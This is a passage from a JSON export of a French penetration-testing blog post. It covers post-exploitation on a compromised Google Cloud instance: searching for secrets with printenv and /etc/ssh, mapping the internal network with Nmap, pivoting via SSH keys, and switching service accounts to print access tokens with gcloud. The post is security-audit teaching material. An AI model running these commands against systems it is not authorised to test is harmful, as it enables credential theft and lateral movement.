--key-file=&lt;file.json&gt;<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading has-text-color has-link-color wp-elements-679445eb11b2d3ac95cdec1d1859de2d\" id=\"aioseo-exploiter-une-instance-rce-et-post-exploitation\" style=\"color:#c0b800\">Exploiter une instance : RCE et post-exploitation<\/h3>\n\n\n\n<p>Apr\u00e8s avoir \u00e9tudi\u00e9 l\u2019exploitation d\u2019un compte de service, voyons maintenant le cas o\u00f9 vous obtenez un acc\u00e8s direct \u00e0 une instance.<br>Cet acc\u00e8s peut \u00eatre obtenu de diff\u00e9rentes mani\u00e8res :<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>directement<\/strong> via SSH ou un shell (reverse shell inclus),<\/li>\n\n\n\n<li><strong>indirectement<\/strong> via une vuln\u00e9rabilit\u00e9 RCE.<\/li>\n<\/ul>\n\n\n\n<p>Dans tous les cas, les actions de post-exploitation suivent une logique similaire.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"aioseo-recherche-dinformations-utiles-ou-sensibles\">Recherche d\u2019informations utiles ou sensibles<\/h4>\n\n\n\n<p>Comme dans toute phase de post-exploitation, commencez par rechercher des secrets, des tokens, des fichiers de configuration sensibles, ou toute information relative au r\u00e9seau et \u00e0 l\u2019instance.<\/p>\n\n\n\n<p>Quelques commandes classiques :<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>cat \/etc\/hosts\nprintenv\nls \/etc\/ssh<\/code><\/pre>\n\n\n\n<p>Pour une m\u00e9thodologie plus compl\u00e8te, vous pouvez vous appuyer sur des cheat sheets d\u00e9di\u00e9es : <a href=\"https:\/\/github.com\/RoqueNight\/Linux-Privilege-Escalation-Basics\" target=\"_blank\" rel=\"noopener\" title=\"\">Linux Privilege Escalation Basics<\/a>.<\/p>\n\n\n\n<p>Pour \u00eatre plus complet, recherchez \u00e9galement du contenu relatif \u00e0 GCP&nbsp;:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo find \/ -name \"gcloud\"<\/code><\/pre>\n\n\n\n<p>Enfin, n\u2019oubliez pas d\u2019interroger le serveur de metadata (cf. section d\u00e9di\u00e9e). Chaque instance compromise peut offrir de nouvelles informations exploitables via ce canal.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"aioseo-analyse-du-reseau-interne\">Analyse du r\u00e9seau interne<\/h4>\n\n\n\n<p>Depuis l\u2019instance compromise, cartographiez le r\u00e9seau interne afin d\u2019identifier d\u2019autres machines et services accessibles.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Scan r\u00e9seau avec <a href=\"http:\/\/vaadata.com\/blog\/fr\/nmap-loutil-pour-cartographier-et-evaluer-la-securite-dun-reseau\/\" target=\"_blank\" rel=\"noopener\" title=\"\">Nmap<\/a><\/strong><\/li>\n\n\n\n<li><strong>Cibles potentielles<\/strong> : services web internes, SSH, clusters Kubernetes, etc.<\/li>\n<\/ul>\n\n\n\n<p>\u00c0 ce stade, toutes les techniques classiques d\u2019un pentest interne peuvent \u00eatre appliqu\u00e9es pour pivoter, compromettre d\u2019autres syst\u00e8mes ou collecter davantage de donn\u00e9es.<\/p>\n\n\n\n<p>Note : testez syst\u00e9matiquement les connexions SSH, non seulement sur l\u2019instance en cours, mais aussi sur celles d\u00e9couvertes via Nmap ou list\u00e9es avec <code>gcloud<\/code>. Votre instance peut contenir la cl\u00e9 SSH permettant de se connecter \u00e0 d\u2019autres machines.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"aioseo-exploiter-les-comptes-de-service-presents-sur-linstance\">Exploiter les comptes de service pr\u00e9sents sur l\u2019instance<\/h4>\n\n\n\n<p>Un autre axe d\u2019exploitation consiste \u00e0 utiliser directement les <strong>comptes de service disponibles sur l\u2019instance<\/strong>.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Lister les comptes disponibles<\/strong> :<\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>gcloud auth list<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Basculer sur un compte sp\u00e9cifique<\/strong> :<\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>gcloud config set account &lt;account-email&gt;<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Extraire un token associ\u00e9<\/strong> :<\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>gcloud auth print-access-token<\/code><\/pre>\n\n\n\n<p>Vous pouvez ensuite utiliser ces comptes de service pour reprendre la m\u00e9thodologie pr\u00e9sent\u00e9e dans la section d\u00e9di\u00e9e \u00e0 leur exploitation.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"aioseo-conclusion\">Conclusion<\/h2>\n\n\n\n<p>L\u2019exploitation d\u2019une instance GCP combine :<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>la post-exploitation classique sur Linux (collecte de secrets, exploration syst\u00e8me, scan r\u00e9seau),<\/li>\n\n\n\n<li>et l\u2019exploitation sp\u00e9cifique au cloud (metadata, comptes de service, ressources GCP).<\/li>\n<\/ul>\n\n\n\n<p>Chaque acc\u00e8s \u00e0 une instance doit donc \u00eatre envisag\u00e9 comme un point de pivot potentiel vers l\u2019ensemble de l\u2019infrastructure cloud.<\/p>\n\n\n\n<p><strong>Auteur : C\u00e9dric CALLY&#8211;CABALLERO &#8211; Pentester @Vaadata<\/strong><\/p>\n","protected":false},"excerpt":{"rendered":"<p>L\u2019audit de s\u00e9curit\u00e9 d\u2019une infrastructure GCP (Google Cloud Platform) et des applications web qui y sont d\u00e9ploy\u00e9es est une \u00e9tape cl\u00e9 pour identifier les vuln\u00e9rabilit\u00e9s et renforcer la r\u00e9silience face aux attaques. Cet article pr\u00e9sente la m\u00e9thodologie adopt\u00e9e lors d\u2019un audit d&rsquo;une infra GCP, les principaux types de tests r\u00e9alis\u00e9s ainsi que des cas concrets.<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[13],"tags":[],"class_list":{"0":"post-13924","1":"post","2":"type-post","3":"status-publish","4":"format-standard","6":"category-solutions-fr"},"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.vaadata.com\/blog\/fr\/wp-json\/wp\/v2\/posts\/13924","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.vaadata.com\/blog\/fr\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.vaadata.com\/blog\/fr\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.vaadata.com\/blog\/fr\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.vaadata.com\/blog\/fr\/wp-json\/wp\/v2\/comments?post=13924"}],"version-history":[{"count":7,"href":"https:\/\/www.vaadata.com\/blog\/fr\/wp-json\/wp\/v2\/posts\/13924\/revisions"}],"predecessor-version":[{"id":13956,"href":"https:\/\/www.vaadata.com\/blog\/fr\/wp-json\/wp\/v2\/posts\/13924\/revisions\/13956"}],"wp:attachment":[{"href":"https:\/\/www.vaadata.com\/blog\/fr\/wp-json\/wp\/v2\/media?parent=13924"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.vaadata.com\/blog\/fr\/wp-json\/wp\/v2\/categories?post=13924"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.vaadata.com\/blog\/fr\/wp-json\/wp\/v2\/tags?post=13924"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}